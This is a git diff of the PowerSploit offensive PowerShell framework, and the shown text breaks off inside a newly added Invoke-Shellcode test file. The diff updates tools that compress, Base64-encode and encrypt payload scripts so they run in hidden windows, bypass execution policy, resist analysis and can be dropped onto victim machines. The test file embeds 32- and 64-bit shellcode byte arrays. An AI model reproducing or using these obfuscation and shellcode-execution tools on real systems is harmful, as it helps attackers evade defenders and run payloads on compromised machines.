-{ -<# -.SYNOPSIS - - Starts a trace of loaded process modules - - PowerSploit Function: Register-ProcessModuleTrace - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.OUTPUTS - - System.Management.Automation.PSEventJob - - If desired, you can manipulate the event returned with the *-Event cmdlets. - -.LINK - - http://www.exploit-monday.com/ -#> - - [CmdletBinding()] Param () - - if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) - { - throw 'You must run this cmdlet from an elevated PowerShell session.' - } - - $ModuleLoadedAction = { - $Event = $EventArgs.NewEvent - - $ModuleInfo = @{ - TimeCreated = [DateTime]::FromFileTime($Event.TIME_CREATED) - ProcessId = $Event.ProcessId - FileName = $Event.FileName - ImageBase = $Event.ImageBase - ImageSize = $Event.ImageSize - } - - $ModuleObject = New-Object PSObject -Property $ModuleInfo - $ModuleObject.PSObject.TypeNames[0] = 'LOADED_MODULE' - - $ModuleObject - } - - Register-WmiEvent 'Win32_ModuleLoadTrace' -SourceIdentifier 'ModuleLoaded' -Action $ModuleLoadedAction -} - -function Get-ProcessModuleTrace -{ -<# -.SYNOPSIS - - Displays the process modules that have been loaded since the call to Register-ProcessModuleTrace - - PowerSploit Function: Get-ProcessModuleTrace - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: Register-ProcessModuleTrace - Optional Dependencies: None - -.OUTPUTS - - PSObject - -.LINK - - http://www.exploit-monday.com/ -#> - - $Events = Get-EventSubscriber -SourceIdentifier 'ModuleLoaded' -ErrorVariable NoEventRegistered -ErrorAction SilentlyContinue - - if ($NoEventRegistered) - { - throw 'You must execute Register-ProcessModuleTrace before you can retrieve a loaded module list' - } - - $Events.Action.Output -} - -function Unregister-ProcessModuleTrace -{ -<# -.SYNOPSIS - - Stops the running process module trace - - PowerSploit Function: Unregister-ProcessModuleTrace - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: Register-ProcessModuleTrace - Optional Dependencies: None - -.LINK - - http://www.exploit-monday.com/ -#> - - Unregister-Event -SourceIdentifier 'ModuleLoaded' -} \ No newline at end of file diff --git a/ReverseEngineering/ReverseEngineering.psd1 b/ReverseEngineering/ReverseEngineering.psd1 deleted file mode 100644 index b7da3551..00000000 --- a/ReverseEngineering/ReverseEngineering.psd1 +++ /dev/null @@ -1,91 +0,0 @@ -@{ - -# Script module or binary module file associated with this manifest. -ModuleToProcess = 'ReverseEngineering.psm1' - -# Version number of this module. -ModuleVersion = '1.0.0.0' - -# ID used to uniquely identify this module -GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff' - -# Author of this module -Author = 'Matthew Graeber' - -# Company or vendor of this module -CompanyName = '' - -# Copyright statement for this module -Copyright = 'BSD 3-Clause' - -# Description of the functionality provided by this module -Description = 'PowerSploit Reverse Engineering Module' - -# Minimum version of the Windows PowerShell engine required by this module -PowerShellVersion = '2.0' - -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -FormatsToProcess = 'Get-PEB.format.ps1xml', 'Get-NtSystemInformation.format.ps1xml', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.format.ps1xml' - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - -# Functions to export from this module -FunctionsToExport = '*' - -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'}) - -# List of all files packaged with this module -FileList = 'ReverseEngineering.psm1', 'ReverseEngineering.psd1', 'Get-ILDisassembly.ps1', 'Get-NtSystemInformation.format.ps1xml', - 'Get-NtSystemInformation.ps1', 'Get-Member.ps1', 'Get-MethodAddress.ps1', 'Get-PEB.format.ps1xml', - 'Get-PEB.ps1', 'Get-Strings.ps1', 'Get-StructFromMemory.ps1', 'ConvertTo-String.ps1', - 'New-Object.ps1', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.ps1', 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - -} - diff --git a/ReverseEngineering/ReverseEngineering.psm1 b/ReverseEngineering/ReverseEngineering.psm1 deleted file mode 100644 index 5bb81d32..00000000 --- a/ReverseEngineering/ReverseEngineering.psm1 +++ /dev/null @@ -1 +0,0 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file diff --git a/ReverseEngineering/Usage.md b/ReverseEngineering/Usage.md deleted file mode 100644 index 33b4ac4b..00000000 --- a/ReverseEngineering/Usage.md +++ /dev/null @@ -1,12 +0,0 @@ -To install this module, drop the entire ReverseEngineering folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. - -The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" -The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" - -To use the module, type `Import-Module ReverseEngineering` - -To see the commands imported, type `Get-Command -Module ReverseEngineering` - -For help on each individual command, Get-Help is your friend. - -Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file diff --git a/ScriptModification/Out-CompressedDll.ps1 b/ScriptModification/Out-CompressedDll.ps1 index 3aa5c2bf..86089564 100644 --- a/ScriptModification/Out-CompressedDll.ps1 +++ b/ScriptModification/Out-CompressedDll.ps1 @@ -1,16 +1,16 @@ -function Out-CompressedDll +function Out-CompressedDll { <# .SYNOPSIS Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. -PowerSploit Function: Out-CompressedDll -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Out-CompressedDll +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION Out-CompressedDll outputs code that loads a compressed representation of a managed dll in memory as a byte array. @@ -21,7 +21,7 @@ Specifies the path to a managed executable. .EXAMPLE -C:\PS> Out-CompressedDll -FilePath evil.dll +Out-CompressedDll -FilePath evil.dll Description ----------- @@ -36,7 +36,9 @@ Only pure MSIL-based dlls can be loaded using this technique. Native or IJW ('it http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( [Parameter(Mandatory = $True)] [String] $FilePath @@ -51,7 +53,7 @@ http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html $FileBytes = [System.IO.File]::ReadAllBytes($Path) - if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ') + if (($FileBytes[0..1] | ForEach-Object {[Char]$_}) -join '' -cne 'MZ') { Throw "$Path is not a valid executable." } @@ -78,4 +80,4 @@ $EncodedCompressedFile "@ Write-Output $Output -} \ No newline at end of file +} diff --git a/ScriptModification/Out-EncodedCommand.ps1 b/ScriptModification/Out-EncodedCommand.ps1 index cae47157..6f21391c 100644 --- a/ScriptModification/Out-EncodedCommand.ps1 +++ b/ScriptModification/Out-EncodedCommand.ps1 @@ -1,16 +1,16 @@ -function Out-EncodedCommand +function Out-EncodedCommand { <# .SYNOPSIS Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. -PowerSploit Function: Out-EncodedCommand -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Out-EncodedCommand +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. @@ -49,13 +49,13 @@ Base-64 encodes the entirety of the output. This is usually unnecessary and effe .EXAMPLE -C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} +Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() .EXAMPLE -C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput +Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= @@ -72,7 +72,8 @@ This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kenn http://www.exploit-monday.com #> - [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( + [CmdletBinding( DefaultParameterSetName = 'FilePath')] + Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] [ValidateNotNullOrEmpty()] [ScriptBlock] @@ -181,4 +182,4 @@ http://www.exploit-monday.com } Write-Output $CommandLineOutput -} \ No newline at end of file +} diff --git a/ScriptModification/Out-EncryptedScript.ps1 b/ScriptModification/Out-EncryptedScript.ps1 index 3f090205..c24b1267 100644 --- a/ScriptModification/Out-EncryptedScript.ps1 +++ b/ScriptModification/Out-EncryptedScript.ps1 @@ -5,15 +5,17 @@ function Out-EncryptedScript Encrypts text files/scripts. -PowerSploit Function: Out-EncryptedScript -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Out-EncryptedScript +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION -Out-EncryptedScript will encrypt a script (or any text file for that matter) and output the results to a minimally obfuscated script - evil.ps1. +Out-EncryptedScript will encrypt a script (or any text file for that +matter) and output the results to a minimally obfuscated script - +evil.ps1 by default. .PARAMETER ScriptPath @@ -27,64 +29,78 @@ Password to encrypt/decrypt the script Salt value for encryption/decryption. This can be any string value. +.PARAMETER InitializationVector + +Specifies a 16-character the initialization vector to be used. This +is randomly generated by default. + .EXAMPLE -C:\PS> Out-EncryptedScript .\Naughty-Script.ps1 password salty +$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Out-EncryptedScript .\Naughty-Script.ps1 $Password salty Description ----------- -Encrypt the contents of this file with a password and salt. This will make analysis of the script impossible without the correct password and salt combination. This command will generate evil.ps1 that can dropped onto the victim machine. It only consists of a decryption function 'de' and the base64-encoded ciphertext. +Encrypt the contents of this file with a password and salt. This will +make analysis of the script impossible without the correct password +and salt combination. This command will generate evil.ps1 that can +dropped onto the victim machine. It only consists of a decryption +function 'de' and the base64-encoded ciphertext. .EXAMPLE -C:\PS> [String] $cmd = Get-Content .\evil.ps1 -C:\PS> Invoke-Expression $cmd -C:\PS> $decrypted = de password salt -C:\PS> Invoke-Expression $decrypted +[String] $cmd = Get-Content .\evil.ps1 +Invoke-Expression $cmd +$decrypted = de password salt +Invoke-Expression $decrypted Description ----------- -This series of instructions assumes you've already encrypted a script and named it evil.ps1. The contents are then decrypted and the unencrypted script is called via Invoke-Expression +This series of instructions assumes you've already encrypted a script +and named it evil.ps1. The contents are then decrypted and the +unencrypted script is called via Invoke-Expression .NOTES This command can be used to encrypt any text-based file/script - -.LINK - -http://www.exploit-monday.com #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $ScriptPath, - + [Parameter(Position = 1, Mandatory = $True)] - [String] + [Security.SecureString] $Password, - + [Parameter(Position = 2, Mandatory = $True)] [String] $Salt, - + [Parameter(Position = 3)] + [ValidateLength(16, 16)] [String] - $InitializationVector = ( @( foreach ($i in 1..16) { [Char](Get-Random -Min 0x41 -Max 0x5B) } ) -join '' ), # Generate random 16 character IV - + $InitializationVector = ((1..16 | ForEach-Object {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''), + [Parameter(Position = 4)] [String] $FilePath = '.\evil.ps1' ) + $TempCred = New-Object System.Management.Automation.PSCredential('a', $Password) + $PlaintextPassword = $TempCred.GetNetworkCredential().Password + $AsciiEncoder = New-Object System.Text.ASCIIEncoding - $ivBytes = $AsciiEncoder.GetBytes("CRACKMEIFYOUCAN!") + $ivBytes = $AsciiEncoder.GetBytes($InitializationVector) # While this can be used to encrypt any file, it's primarily designed to encrypt itself. - [Byte[]] $scriptBytes = Get-Content -Encoding byte -Path $ScriptPath - $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2) - $Key = New-Object System.Security.Cryptography.RijndaelManaged + [Byte[]] $scriptBytes = Get-Content -Encoding Byte -ReadCount 0 -Path $ScriptPath + $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($PlaintextPassword, $AsciiEncoder.GetBytes($Salt), "SHA1", 2) + $Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider $Key.Mode = [System.Security.Cryptography.CipherMode]::CBC - [Byte[]] $KeyBytes = $DerivedPass.GetBytes(32) + [Byte[]] $KeyBytes = $DerivedPass.GetBytes(16) $Encryptor = $Key.CreateEncryptor($KeyBytes, $ivBytes) $MemStream = New-Object System.IO.MemoryStream $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($MemStream, $Encryptor, [System.Security.Cryptography.CryptoStreamMode]::Write) @@ -97,33 +113,32 @@ http://www.exploit-monday.com $Cipher = [Convert]::ToBase64String($CipherTextBytes) # Generate encrypted PS1 file. All that will be included is the base64-encoded ciphertext and a slightly 'obfuscated' decrypt function -$Output = 'function de([String] $b, [String] $c) +$Output = @" +function de([String] `$b, [String] `$c) { -$a = "' -$Output += $cipher -$Output += '"' -$Output += '; -$encoding = New-Object System.Text.ASCIIEncoding; -$dd = $encoding.GetBytes("CRACKMEIFYOUCAN!"); -$aa = [Convert]::FromBase64String($a); -$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($b, $encoding.GetBytes($c), "SHA1", 2); -[Byte[]] $e = $derivedPass.GetBytes(32); -$f = New-Object System.Security.Cryptography.RijndaelManaged; -$f.Mode = [System.Security.Cryptography.CipherMode]::CBC; -[Byte[]] $h = New-Object Byte[]($aa.Length); -$g = $f.CreateDecryptor($e, $dd); -$i = New-Object System.IO.MemoryStream($aa, $True); -$j = New-Object System.Security.Cryptography.CryptoStream($i, $g, [System.Security.Cryptography.CryptoStreamMode]::Read); -$r = $j.Read($h, 0, $h.Length); -$i.Close(); -$j.Close(); -$f.Clear(); -return $encoding.GetString($h,0,$h.Length); -}' +`$a = "$Cipher"; +`$encoding = New-Object System.Text.ASCIIEncoding; +`$dd = `$encoding.GetBytes("$InitializationVector"); +`$aa = [Convert]::FromBase64String(`$a); +`$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes(`$b, `$encoding.GetBytes(`$c), "SHA1", 2); +[Byte[]] `$e = `$derivedPass.GetBytes(16); +`$f = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider; +`$f.Mode = [System.Security.Cryptography.CipherMode]::CBC; +[Byte[]] `$h = New-Object Byte[](`$aa.Length); +`$g = `$f.CreateDecryptor(`$e, `$dd); +`$i = New-Object System.IO.MemoryStream(`$aa, `$True); +`$j = New-Object System.Security.Cryptography.CryptoStream(`$i, `$g, [System.Security.Cryptography.CryptoStreamMode]::Read); +`$r = `$j.Read(`$h, 0, `$h.Length); +`$i.Close(); +`$j.Close(); +`$f.Clear(); +if ((`$h.Length -gt 3) -and (`$h[0] -eq 0xEF) -and (`$h[1] -eq 0xBB) -and (`$h[2] -eq 0xBF)) { `$h = `$h[3..(`$h.Length-1)]; } +return `$encoding.GetString(`$h).TrimEnd([Char] 0); +} +"@ # Output decrypt function and ciphertext to evil.ps1 Out-File -InputObject $Output -Encoding ASCII $FilePath Write-Verbose "Encrypted PS1 file saved to: $(Resolve-Path $FilePath)" - -} \ No newline at end of file +} diff --git a/ScriptModification/Remove-Comments.ps1 b/ScriptModification/Remove-Comment.ps1 similarity index 80% rename from ScriptModification/Remove-Comments.ps1 rename to ScriptModification/Remove-Comment.ps1 index ec759278..61944198 100644 --- a/ScriptModification/Remove-Comments.ps1 +++ b/ScriptModification/Remove-Comment.ps1 @@ -1,19 +1,19 @@ -function Remove-Comments +function Remove-Comment { <# .SYNOPSIS Strips comments and extra whitespace from a script. -PowerSploit Function: Remove-Comments -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Remove-Comment +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION -Remove-Comments strips out comments and unnecessary whitespace from a script. This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big. +Remove-Comment strips out comments and unnecessary whitespace from a script. This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big. A major portion of this code was taken from the Lee Holmes' Show-ColorizedContent script. You rock, Lee! @@ -27,11 +27,11 @@ Specifies the path to your script. .EXAMPLE -C:\PS> $Stripped = Remove-Comments -Path .\ScriptWithComments.ps1 +$Stripped = Remove-Comment -Path .\ScriptWithComments.ps1 .EXAMPLE -C:\PS> Remove-Comments -ScriptBlock { +Remove-Comment -ScriptBlock { ### This is my awesome script. My documentation is beyond reproach! Write-Host 'Hello, World!' ### Write 'Hello, World' to the host ### End script awesomeness @@ -41,7 +41,7 @@ Write-Host 'Hello, World!' .EXAMPLE -C:\PS> Remove-Comments -Path Inject-Shellcode.ps1 | Out-EncodedCommand +Remove-Comment -Path Inject-Shellcode.ps1 | Out-EncodedCommand Description ----------- @@ -57,15 +57,17 @@ Accepts either a string containing the path to a script or a scriptblock. System.Management.Automation.ScriptBlock -Remove-Comments returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired. +Remove-Comment returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired. .LINK http://www.exploit-monday.com http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/ #> - - [CmdletBinding( DefaultParameterSetName = 'FilePath' )] Param ( + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding( DefaultParameterSetName = 'FilePath' )] + Param ( [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'FilePath' )] [ValidateNotNullOrEmpty()] [String] @@ -153,4 +155,4 @@ http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/ } Write-Output ([ScriptBlock]::Create($StringBuilder.ToString())) -} \ No newline at end of file +} diff --git a/ScriptModification/ScriptModification.psd1 b/ScriptModification/ScriptModification.psd1 index 7393c293..07cd0bfa 100644 --- a/ScriptModification/ScriptModification.psd1 +++ b/ScriptModification/ScriptModification.psd1 @@ -1,10 +1,10 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'ScriptModification.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610' @@ -12,9 +12,6 @@ GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,65 +21,11 @@ Description = 'PowerSploit Script Preparation/Modification Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}) - # List of all files packaged with this module FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-CompressedDll.ps1', 'Out-EncodedCommand.ps1', - 'Out-EncryptedScript.ps1', 'Remove-Comments.ps1', 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' + 'Out-EncryptedScript.ps1', 'Remove-Comment.ps1', 'Usage.md' -} \ No newline at end of file +} diff --git a/ScriptModification/ScriptModification.psm1 b/ScriptModification/ScriptModification.psm1 index 5bb81d32..81d38186 100644 --- a/ScriptModification/ScriptModification.psm1 +++ b/ScriptModification/ScriptModification.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} \ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Tests/CodeExecution.tests.ps1 b/Tests/CodeExecution.tests.ps1 new file mode 100644 index 00000000..2771e780 --- /dev/null +++ b/Tests/CodeExecution.tests.ps1 @@ -0,0 +1,362 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\CodeExecution\CodeExecution.psd1" + +Remove-Module [C]odeExecution +Import-Module $ModuleManifest -Force -ErrorAction Stop + +Describe 'Invoke-Shellcode' { + # 32-bit calc popping shellcode + [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, + 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, + 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, + 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, + 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, + 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, + 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, + 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, + 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, + 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, + 0x61,0x6c,0x63,0x00) + + # 64-bit calc popping shellcode + [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) + + 